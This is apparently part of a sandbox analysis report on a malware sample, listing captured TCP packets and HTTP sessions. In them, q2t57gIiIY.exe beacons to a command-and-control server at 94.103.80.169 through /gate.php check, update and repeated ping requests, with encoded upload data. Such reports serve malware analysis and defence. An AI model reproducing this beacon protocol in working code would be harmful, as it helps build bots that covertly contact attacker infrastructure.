Aug 15, 2021 08:41:58.267383099 CEST	80	49777	94.103.80.169	192.168.2.4
Aug 15, 2021 08:41:58.267577887 CEST	49777	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:58.378177881 CEST	49777	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:58.406689882 CEST	80	49777	94.103.80.169	192.168.2.4
Aug 15, 2021 08:41:58.406877041 CEST	49777	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:58.518368959 CEST	49777	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:58.547298908 CEST	80	49777	94.103.80.169	192.168.2.4
Aug 15, 2021 08:41:58.547422886 CEST	49777	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:58.659332991 CEST	49777	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:58.687432051 CEST	80	49777	94.103.80.169	192.168.2.4
Aug 15, 2021 08:41:58.687706947 CEST	49777	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:58.803101063 CEST	49777	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:58.835947037 CEST	80	49777	94.103.80.169	192.168.2.4
Aug 15, 2021 08:41:58.836100101 CEST	49777	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:58.973445892 CEST	49777	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:59.001097918 CEST	80	49777	94.103.80.169	192.168.2.4
Aug 15, 2021 08:41:59.001236916 CEST	49777	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:59.116455078 CEST	49777	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:59.144843102 CEST	80	49777	94.103.80.169	192.168.2.4
Aug 15, 2021 08:41:59.144934893 CEST	49777	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:59.253037930 CEST	49777	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:59.282808065 CEST	80	49777	94.103.80.169	192.168.2.4
Aug 15, 2021 08:41:59.283082008 CEST	49777	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:59.394588947 CEST	49777	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:59.423778057 CEST	80	49777	94.103.80.169	192.168.2.4
Aug 15, 2021 08:41:59.428241014 CEST	49777	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:59.535820007 CEST	49777	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:59.565191031 CEST	80	49777	94.103.80.169	192.168.2.4
Aug 15, 2021 08:41:59.565685987 CEST	49777	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:59.695440054 CEST	49777	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:59.722902060 CEST	80	49777	94.103.80.169	192.168.2.4
Aug 15, 2021 08:41:59.725919962 CEST	49777	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:59.850385904 CEST	49777	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:59.879321098 CEST	80	49777	94.103.80.169	192.168.2.4
Aug 15, 2021 08:41:59.879981041 CEST	49777	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:59.987881899 CEST	49777	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:42:00.018825054 CEST	80	49777	94.103.80.169	192.168.2.4
Aug 15, 2021 08:42:00.019011021 CEST	49777	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:42:00.131479025 CEST	49777	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:42:00.159569979 CEST	80	49777	94.103.80.169	192.168.2.4
Aug 15, 2021 08:42:00.159594059 CEST	80	49777	94.103.80.169	192.168.2.4
Aug 15, 2021 08:42:00.160608053 CEST	49777	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:42:00.160826921 CEST	49777	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:42:00.185036898 CEST	80	49777	94.103.80.169	192.168.2.4
Aug 15, 2021 08:42:00.273925066 CEST	49778	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:42:00.298712015 CEST	80	49778	94.103.80.169	192.168.2.4
Aug 15, 2021 08:42:00.298959017 CEST	49778	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:42:00.300185919 CEST	49778	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:42:00.324641943 CEST	80	49778	94.103.80.169	192.168.2.4
Aug 15, 2021 08:42:00.328176975 CEST	80	49778	94.103.80.169	192.168.2.4
Aug 15, 2021 08:42:00.328344107 CEST	49778	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:42:00.445694923 CEST	49778	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:42:00.476481915 CEST	80	49778	94.103.80.169	192.168.2.4
Aug 15, 2021 08:42:00.476758003 CEST	49778	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:42:00.598428965 CEST	49778	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:42:00.626421928 CEST	80	49778	94.103.80.169	192.168.2.4
Aug 15, 2021 08:42:00.626703978 CEST	49778	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:42:00.739523888 CEST	49778	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:42:00.769498110 CEST	80	49778	94.103.80.169	192.168.2.4
Aug 15, 2021 08:42:00.769665003 CEST	49778	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:42:00.884320974 CEST	49778	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:42:00.913232088 CEST	80	49778	94.103.80.169	192.168.2.4
Aug 15, 2021 08:42:00.913552999 CEST	49778	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:42:01.039710045 CEST	49778	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:42:01.067212105 CEST	80	49778	94.103.80.169	192.168.2.4
Aug 15, 2021 08:42:01.067464113 CEST	49778	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:42:01.175894976 CEST	49778	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:42:01.205776930 CEST	80	49778	94.103.80.169	192.168.2.4
Aug 15, 2021 08:42:01.205981970 CEST	49778	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:42:01.318448067 CEST	49778	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:42:01.346661091 CEST	80	49778	94.103.80.169	192.168.2.4
Aug 15, 2021 08:42:01.347019911 CEST	49778	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:42:01.460005045 CEST	49778	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:42:01.489587069 CEST	80	49778	94.103.80.169	192.168.2.4
Aug 15, 2021 08:42:01.489912033 CEST	49778	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:42:01.600298882 CEST	49778	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:42:01.628822088 CEST	80	49778	94.103.80.169	192.168.2.4
Aug 15, 2021 08:42:01.629256010 CEST	49778	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:42:01.742037058 CEST	49778	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:42:01.770724058 CEST	80	49778	94.103.80.169	192.168.2.4
Aug 15, 2021 08:42:01.770864010 CEST	49778	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:42:01.879076958 CEST	49778	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:42:01.907259941 CEST	80	49778	94.103.80.169	192.168.2.4
Aug 15, 2021 08:42:01.907418966 CEST	49778	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:42:02.020961046 CEST	49778	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:42:02.049921036 CEST	80	49778	94.103.80.169	192.168.2.4
Aug 15, 2021 08:42:02.050033092 CEST	49778	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:42:02.161909103 CEST	49778	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:42:02.189693928 CEST	80	49778	94.103.80.169	192.168.2.4
Aug 15, 2021 08:42:02.189874887 CEST	49778	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:42:02.306512117 CEST	49778	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:42:02.335712910 CEST	80	49778	94.103.80.169	192.168.2.4
Aug 15, 2021 08:42:02.335844994 CEST	49778	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:42:02.457232952 CEST	49778	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:42:02.486305952 CEST	80	49778	94.103.80.169	192.168.2.4
Aug 15, 2021 08:42:02.488148928 CEST	49778	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:42:02.598859072 CEST	49778	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:42:02.627393007 CEST	80	49778	94.103.80.169	192.168.2.4
Aug 15, 2021 08:42:02.627599001 CEST	49778	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:42:02.738302946 CEST	49778	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:42:02.766352892 CEST	80	49778	94.103.80.169	192.168.2.4
Aug 15, 2021 08:42:02.766462088 CEST	49778	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:42:02.878494024 CEST	49778	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:42:02.906819105 CEST	80	49778	94.103.80.169	192.168.2.4
Aug 15, 2021 08:42:02.906977892 CEST	49778	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:42:03.019803047 CEST	49778	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:42:03.048734903 CEST	80	49778	94.103.80.169	192.168.2.4
Aug 15, 2021 08:42:03.049002886 CEST	49778	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:42:03.170156002 CEST	49778	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:42:03.198467016 CEST	80	49778	94.103.80.169	192.168.2.4
Aug 15, 2021 08:42:03.198728085 CEST	49778	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:42:03.316032887 CEST	49778	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:42:03.344574928 CEST	80	49778	94.103.80.169	192.168.2.4
Aug 15, 2021 08:42:03.344789982 CEST	49778	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:42:03.460972071 CEST	49778	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:42:03.489135981 CEST	80	49778	94.103.80.169	192.168.2.4
Aug 15, 2021 08:42:03.489340067 CEST	49778	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:42:08.495012999 CEST	80	49778	94.103.80.169	192.168.2.4
Aug 15, 2021 08:42:08.495157003 CEST	49778	80	192.168.2.4	94.103.80.169

HTTP Request Dependency Graph

94.103.80.169

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
0	192.168.2.4	49746	94.103.80.169	80	C:\Users\user\Desktop\q2t57gIiIY.exe

Timestamp	kBytes transferred	Direction	Data
Aug 15, 2021 08:40:05.882749081 CEST	1081	OUT	GET /gate.php?type=check&uid=7788F0C9B3493382528285 HTTP/1.1 User-Agent: dsfsdfdsfdsfd2sfdsf Host: 94.103.80.169
Aug 15, 2021 08:40:05.913623095 CEST	1082	IN	HTTP/1.1 200 OK Date: Sun, 15 Aug 2021 06:40:05 GMT Server: Apache/2.4.25 (Debian) Content-Length: 12 Content-Type: text/html; charset=UTF-8 Data Raw: 65 6d 6e 79 55 32 56 6e 6c 51 3d 3d Data Ascii: emnyU2VnlQ==

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1	192.168.2.4	49750	94.103.80.169	80	C:\Users\user\Desktop\q2t57gIiIY.exe

Timestamp	kBytes transferred	Direction	Data
Aug 15, 2021 08:40:27.904443979 CEST	2291	OUT	GET /gate.php?type=check&uid=7788F0C9B3493382528285 HTTP/1.1 User-Agent: dsfsdfdsfdsfd2sfdsf Host: 94.103.80.169
Aug 15, 2021 08:40:27.930363894 CEST	2291	IN	HTTP/1.1 200 OK Date: Sun, 15 Aug 2021 06:40:27 GMT Server: Apache/2.4.25 (Debian) Content-Length: 12 Content-Type: text/html; charset=UTF-8 Data Raw: 65 6d 6e 79 55 32 56 6e 6c 51 3d 3d Data Ascii: emnyU2VnlQ==
Aug 15, 2021 08:40:27.938348055 CEST	2292	OUT	POST /gate.php?type=update&uid=7788F0C9B3493382528285 HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: dsfsdfdsfdsfd2sfdsf Host: 94.103.80.169 Content-Length: 64 Cache-Control: no-cache Data Raw: 53 31 50 46 62 48 64 64 71 4e 6b 47 4c 4d 34 63 73 75 37 6e 31 59 2f 4d 62 41 77 75 6d 6d 79 2b 68 67 34 51 35 2f 31 70 30 70 73 49 6e 57 6f 6b 74 47 33 64 37 65 6d 77 2b 65 4c 71 73 67 3d 3d Data Ascii: S1PFbHddqNkGLM4csu7n1Y/MbAwummy+hg4Q5/1p0psInWoktG3d7emw+eLqsg==
Aug 15, 2021 08:40:27.967945099 CEST	2292	IN	HTTP/1.1 200 OK Date: Sun, 15 Aug 2021 06:40:27 GMT Server: Apache/2.4.25 (Debian) Content-Length: 2 Content-Type: text/html; charset=UTF-8 Data Raw: 4f 4b Data Ascii: OK
Aug 15, 2021 08:40:27.973021030 CEST	2292	OUT	POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1 User-Agent: dsfsdfdsfdsfd2sfdsf Host: 94.103.80.169 Content-Length: 0 Cache-Control: no-cache
Aug 15, 2021 08:40:28.000840902 CEST	2292	IN	HTTP/1.1 200 OK Date: Sun, 15 Aug 2021 06:40:27 GMT Server: Apache/2.4.25 (Debian) Content-Length: 0 Content-Type: text/html; charset=UTF-8
Aug 15, 2021 08:40:28.121943951 CEST	2292	OUT	POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1 User-Agent: dsfsdfdsfdsfd2sfdsf Host: 94.103.80.169 Content-Length: 0 Cache-Control: no-cache
Aug 15, 2021 08:40:28.151467085 CEST	2293	IN	HTTP/1.1 200 OK Date: Sun, 15 Aug 2021 06:40:28 GMT Server: Apache/2.4.25 (Debian) Content-Length: 0 Content-Type: text/html; charset=UTF-8
Aug 15, 2021 08:40:28.261063099 CEST	2293	OUT	POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1 User-Agent: dsfsdfdsfdsfd2sfdsf Host: 94.103.80.169 Content-Length: 0 Cache-Control: no-cache
Aug 15, 2021 08:40:28.289145947 CEST	2293	IN	HTTP/1.1 200 OK Date: Sun, 15 Aug 2021 06:40:28 GMT Server: Apache/2.4.25 (Debian) Content-Length: 0 Content-Type: text/html; charset=UTF-8
Aug 15, 2021 08:40:28.401727915 CEST	2293	OUT	POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1 User-Agent: dsfsdfdsfdsfd2sfdsf Host: 94.103.80.169 Content-Length: 0 Cache-Control: no-cache
Aug 15, 2021 08:40:28.430119991 CEST	2294	IN	HTTP/1.1 200 OK Date: Sun, 15 Aug 2021 06:40:28 GMT Server: Apache/2.4.25 (Debian) Content-Length: 0 Content-Type: text/html; charset=UTF-8
Aug 15, 2021 08:40:28.542479038 CEST	2294	OUT	POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1 User-Agent: dsfsdfdsfdsfd2sfdsf Host: 94.103.80.169 Content-Length: 0 Cache-Control: no-cache
Aug 15, 2021 08:40:28.570579052 CEST	2294	IN	HTTP/1.1 200 OK Date: Sun, 15 Aug 2021 06:40:28 GMT Server: Apache/2.4.25 (Debian) Content-Length: 0 Content-Type: text/html; charset=UTF-8
Aug 15, 2021 08:40:28.683881998 CEST	2294	OUT	POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1 User-Agent: dsfsdfdsfdsfd2sfdsf Host: 94.103.80.169 Content-Length: 0 Cache-Control: no-cache
Aug 15, 2021 08:40:28.711869955 CEST	2295	IN	HTTP/1.1 200 OK Date: Sun, 15 Aug 2021 06:40:28 GMT Server: Apache/2.4.25 (Debian) Content-Length: 0 Content-Type: text/html; charset=UTF-8
Aug 15, 2021 08:40:28.823501110 CEST	2295	OUT	POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1 User-Agent: dsfsdfdsfdsfd2sfdsf Host: 94.103.80.169 Content-Length: 0 Cache-Control: no-cache
Aug 15, 2021 08:40:28.853037119 CEST	2295	IN	HTTP/1.1 200 OK Date: Sun, 15 Aug 2021 06:40:28 GMT Server: Apache/2.4.25 (Debian) Content-Length: 0 Content-Type: text/html; charset=UTF-8
Aug 15, 2021 08:40:28.964284897 CEST	2295	OUT	POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1 User-Agent: dsfsdfdsfdsfd2sfdsf Host: 94.103.80.169 Content-Length: 0 Cache-Control: no-cache
Aug 15, 2021 08:40:28.992168903 CEST	2295	IN	HTTP/1.1 200 OK Date: Sun, 15 Aug 2021 06:40:28 GMT Server: Apache/2.4.25 (Debian) Content-Length: 0 Content-Type: text/html; charset=UTF-8
Aug 15, 2021 08:40:29.105283022 CEST	2296	OUT	POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1 User-Agent: dsfsdfdsfdsfd2sfdsf Host: 94.103.80.169 Content-Length: 0 Cache-Control: no-cache
Aug 15, 2021 08:40:29.133958101 CEST	2296	IN	HTTP/1.1 200 OK Date: Sun, 15 Aug 2021 06:40:29 GMT Server: Apache/2.4.25 (Debian) Content-Length: 0 Content-Type: text/html; charset=UTF-8
Aug 15, 2021 08:40:29.245848894 CEST	2296	OUT	POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1 User-Agent: dsfsdfdsfdsfd2sfdsf Host: 94.103.80.169 Content-Length: 0 Cache-Control: no-cache
Aug 15, 2021 08:40:29.274307013 CEST	2296	IN	HTTP/1.1 200 OK Date: Sun, 15 Aug 2021 06:40:29 GMT Server: Apache/2.4.25 (Debian) Content-Length: 0 Content-Type: text/html; charset=UTF-8
Aug 15, 2021 08:40:29.386343002 CEST	2297	OUT	POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1 User-Agent: dsfsdfdsfdsfd2sfdsf Host: 94.103.80.169 Content-Length: 0 Cache-Control: no-cache
Aug 15, 2021 08:40:29.413674116 CEST	2297	IN	HTTP/1.1 200 OK Date: Sun, 15 Aug 2021 06:40:29 GMT Server: Apache/2.4.25 (Debian) Content-Length: 0 Content-Type: text/html; charset=UTF-8
Aug 15, 2021 08:40:29.527102947 CEST	2297	OUT	POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1 User-Agent: dsfsdfdsfdsfd2sfdsf Host: 94.103.80.169 Content-Length: 0 Cache-Control: no-cache
Aug 15, 2021 08:40:29.556293964 CEST	2297	IN	HTTP/1.1 200 OK Date: Sun, 15 Aug 2021 06:40:29 GMT Server: Apache/2.4.25 (Debian) Content-Length: 0 Content-Type: text/html; charset=UTF-8
Aug 15, 2021 08:40:29.667125940 CEST	2298	OUT	POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1 User-Agent: dsfsdfdsfdsfd2sfdsf Host: 94.103.80.169 Content-Length: 0 Cache-Control: no-cache
Aug 15, 2021 08:40:29.695305109 CEST	2298	IN	HTTP/1.1 200 OK Date: Sun, 15 Aug 2021 06:40:29 GMT Server: Apache/2.4.25 (Debian) Content-Length: 0 Content-Type: text/html; charset=UTF-8
Aug 15, 2021 08:40:29.813246012 CEST	2298	OUT	POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1 User-Agent: dsfsdfdsfdsfd2sfdsf Host: 94.103.80.169 Content-Length: 0 Cache-Control: no-cache
Aug 15, 2021 08:40:29.841377974 CEST	2298	IN	HTTP/1.1 200 OK Date: Sun, 15 Aug 2021 06:40:29 GMT Server: Apache/2.4.25 (Debian) Content-Length: 0 Content-Type: text/html; charset=UTF-8
Aug 15, 2021 08:40:29.950615883 CEST	2299	OUT	POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1 User-Agent: dsfsdfdsfdsfd2sfdsf Host: 94.103.80.169 Content-Length: 0 Cache-Control: no-cache
Aug 15, 2021 08:40:29.980165005 CEST	2299	IN	HTTP/1.1 200 OK Date: Sun, 15 Aug 2021 06:40:29 GMT Server: Apache/2.4.25 (Debian) Content-Length: 0 Content-Type: text/html; charset=UTF-8
Aug 15, 2021 08:40:30.089106083 CEST	2299	OUT	POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1 User-Agent: dsfsdfdsfdsfd2sfdsf Host: 94.103.80.169 Content-Length: 0 Cache-Control: no-cache
Aug 15, 2021 08:40:30.117466927 CEST	2299	IN	HTTP/1.1 200 OK Date: Sun, 15 Aug 2021 06:40:30 GMT Server: Apache/2.4.25 (Debian) Content-Length: 0 Content-Type: text/html; charset=UTF-8
Aug 15, 2021 08:40:30.230158091 CEST	2299	OUT	POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1 User-Agent: dsfsdfdsfdsfd2sfdsf Host: 94.103.80.169 Content-Length: 0 Cache-Control: no-cache
Aug 15, 2021 08:40:30.257838964 CEST	2300	IN	HTTP/1.1 200 OK Date: Sun, 15 Aug 2021 06:40:30 GMT Server: Apache/2.4.25 (Debian) Content-Length: 0 Content-Type: text/html; charset=UTF-8
Aug 15, 2021 08:40:30.371016026 CEST	2300	OUT	POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1 User-Agent: dsfsdfdsfdsfd2sfdsf Host: 94.103.80.169 Content-Length: 0 Cache-Control: no-cache
Aug 15, 2021 08:40:30.398502111 CEST	2300	IN	HTTP/1.1 200 OK Date: Sun, 15 Aug 2021 06:40:30 GMT Server: Apache/2.4.25 (Debian) Content-Length: 0 Content-Type: text/html; charset=UTF-8
Aug 15, 2021 08:40:30.511421919 CEST	2300	OUT	POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1 User-Agent: dsfsdfdsfdsfd2sfdsf Host: 94.103.80.169 Content-Length: 0 Cache-Control: no-cache
Aug 15, 2021 08:40:30.542083979 CEST	2301	IN	HTTP/1.1 200 OK Date: Sun, 15 Aug 2021 06:40:30 GMT Server: Apache/2.4.25 (Debian) Content-Length: 0 Content-Type: text/html; charset=UTF-8
Aug 15, 2021 08:40:30.651870012 CEST	2301	OUT	POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1 User-Agent: dsfsdfdsfdsfd2sfdsf Host: 94.103.80.169 Content-Length: 0 Cache-Control: no-cache
Aug 15, 2021 08:40:30.681284904 CEST	2301	IN	HTTP/1.1 200 OK Date: Sun, 15 Aug 2021 06:40:30 GMT Server: Apache/2.4.25 (Debian) Content-Length: 0 Content-Type: text/html; charset=UTF-8
Aug 15, 2021 08:40:30.793705940 CEST	2301	OUT	POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1 User-Agent: dsfsdfdsfdsfd2sfdsf Host: 94.103.80.169 Content-Length: 0 Cache-Control: no-cache
Aug 15, 2021 08:40:30.822092056 CEST	2301	IN	HTTP/1.1 200 OK Date: Sun, 15 Aug 2021 06:40:30 GMT Server: Apache/2.4.25 (Debian) Content-Length: 0 Content-Type: text/html; charset=UTF-8
Aug 15, 2021 08:40:30.933024883 CEST	2302	OUT	POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1 User-Agent: dsfsdfdsfdsfd2sfdsf Host: 94.103.80.169 Content-Length: 0 Cache-Control: no-cache
Aug 15, 2021 08:40:30.961529970 CEST	2302	IN	HTTP/1.1 200 OK Date: Sun, 15 Aug 2021 06:40:30 GMT Server: Apache/2.4.25 (Debian) Content-Length: 0 Content-Type: text/html; charset=UTF-8
Aug 15, 2021 08:40:31.073611975 CEST	2302	OUT	POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1 User-Agent: dsfsdfdsfdsfd2sfdsf Host: 94.103.80.169 Content-Length: 0 Cache-Control: no-cache
Aug 15, 2021 08:40:31.104231119 CEST	2302	IN	HTTP/1.1 200 OK Date: Sun, 15 Aug 2021 06:40:31 GMT Server: Apache/2.4.25 (Debian) Content-Length: 0 Content-Type: text/html; charset=UTF-8
Aug 15, 2021 08:40:31.216053963 CEST	2303	OUT	POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1 User-Agent: dsfsdfdsfdsfd2sfdsf Host: 94.103.80.169 Content-Length: 0 Cache-Control: no-cache
Aug 15, 2021 08:40:31.243676901 CEST	2303	IN	HTTP/1.1 200 OK Date: Sun, 15 Aug 2021 06:40:31 GMT Server: Apache/2.4.25 (Debian) Content-Length: 0 Content-Type: text/html; charset=UTF-8
Aug 15, 2021 08:40:31.355763912 CEST	2303	OUT	POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1 User-Agent: dsfsdfdsfdsfd2sfdsf Host: 94.103.80.169 Content-Length: 0 Cache-Control: no-cache
Aug 15, 2021 08:40:31.383193016 CEST	2303	IN	HTTP/1.1 200 OK Date: Sun, 15 Aug 2021 06:40:31 GMT Server: Apache/2.4.25 (Debian) Content-Length: 0 Content-Type: text/html; charset=UTF-8
Aug 15, 2021 08:40:31.497359991 CEST	2304	OUT	POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1 User-Agent: dsfsdfdsfdsfd2sfdsf Host: 94.103.80.169 Content-Length: 0 Cache-Control: no-cache
Aug 15, 2021 08:40:31.527379036 CEST	2304	IN	HTTP/1.1 200 OK Date: Sun, 15 Aug 2021 06:40:31 GMT Server: Apache/2.4.25 (Debian) Content-Length: 0 Content-Type: text/html; charset=UTF-8
Aug 15, 2021 08:40:31.659485102 CEST	2304	OUT	POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1 User-Agent: dsfsdfdsfdsfd2sfdsf Host: 94.103.80.169 Content-Length: 0 Cache-Control: no-cache
Aug 15, 2021 08:40:31.687774897 CEST	2304	IN	HTTP/1.1 200 OK Date: Sun, 15 Aug 2021 06:40:31 GMT Server: Apache/2.4.25 (Debian) Content-Length: 0 Content-Type: text/html; charset=UTF-8
Aug 15, 2021 08:40:31.935095072 CEST	2305	OUT	POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1 User-Agent: dsfsdfdsfdsfd2sfdsf Host: 94.103.80.169 Content-Length: 0 Cache-Control: no-cache
Aug 15, 2021 08:40:31.963583946 CEST	2305	IN	HTTP/1.1 200 OK Date: Sun, 15 Aug 2021 06:40:31 GMT Server: Apache/2.4.25 (Debian) Content-Length: 0 Content-Type: text/html; charset=UTF-8
Aug 15, 2021 08:40:32.095565081 CEST	2305	OUT	POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1 User-Agent: dsfsdfdsfdsfd2sfdsf Host: 94.103.80.169 Content-Length: 0 Cache-Control: no-cache
Aug 15, 2021 08:40:32.124439001 CEST	2305	IN	HTTP/1.1 200 OK Date: Sun, 15 Aug 2021 06:40:32 GMT Server: Apache/2.4.25 (Debian) Content-Length: 0 Content-Type: text/html; charset=UTF-8
Aug 15, 2021 08:40:32.251502991 CEST	2305	OUT	POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1 User-Agent: dsfsdfdsfdsfd2sfdsf Host: 94.103.80.169 Content-Length: 0 Cache-Control: no-cache
Aug 15, 2021 08:40:32.279581070 CEST	2306	IN	HTTP/1.1 200 OK Date: Sun, 15 Aug 2021 06:40:32 GMT Server: Apache/2.4.25 (Debian) Content-Length: 0 Content-Type: text/html; charset=UTF-8
Aug 15, 2021 08:40:32.392554045 CEST	2306	OUT	POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1 User-Agent: dsfsdfdsfdsfd2sfdsf Host: 94.103.80.169 Content-Length: 0 Cache-Control: no-cache
Aug 15, 2021 08:40:32.424840927 CEST	2306	IN	HTTP/1.1 200 OK Date: Sun, 15 Aug 2021 06:40:32 GMT Server: Apache/2.4.25 (Debian) Content-Length: 0 Content-Type: text/html; charset=UTF-8
Aug 15, 2021 08:40:32.892400026 CEST	2306	OUT	POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1 User-Agent: dsfsdfdsfdsfd2sfdsf Host: 94.103.80.169 Content-Length: 0 Cache-Control: no-cache
Aug 15, 2021 08:40:32.920031071 CEST	2307	IN	HTTP/1.1 200 OK Date: Sun, 15 Aug 2021 06:40:32 GMT Server: Apache/2.4.25 (Debian) Content-Length: 0 Content-Type: text/html; charset=UTF-8
Aug 15, 2021 08:40:33.079744101 CEST	2307	OUT	POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1 User-Agent: dsfsdfdsfdsfd2sfdsf Host: 94.103.80.169 Content-Length: 0 Cache-Control: no-cache
Aug 15, 2021 08:40:33.108525038 CEST	2307	IN	HTTP/1.1 200 OK Date: Sun, 15 Aug 2021 06:40:33 GMT Server: Apache/2.4.25 (Debian) Content-Length: 0 Content-Type: text/html; charset=UTF-8
Aug 15, 2021 08:40:33.231837034 CEST	2307	OUT	POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1 User-Agent: dsfsdfdsfdsfd2sfdsf Host: 94.103.80.169 Content-Length: 0 Cache-Control: no-cache
Aug 15, 2021 08:40:33.260449886 CEST	2308	IN	HTTP/1.1 200 OK Date: Sun, 15 Aug 2021 06:40:33 GMT Server: Apache/2.4.25 (Debian) Content-Length: 0 Content-Type: text/html; charset=UTF-8
Aug 15, 2021 08:40:34.286201954 CEST	2308	OUT	POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1 User-Agent: dsfsdfdsfdsfd2sfdsf Host: 94.103.80.169 Content-Length: 0 Cache-Control: no-cache
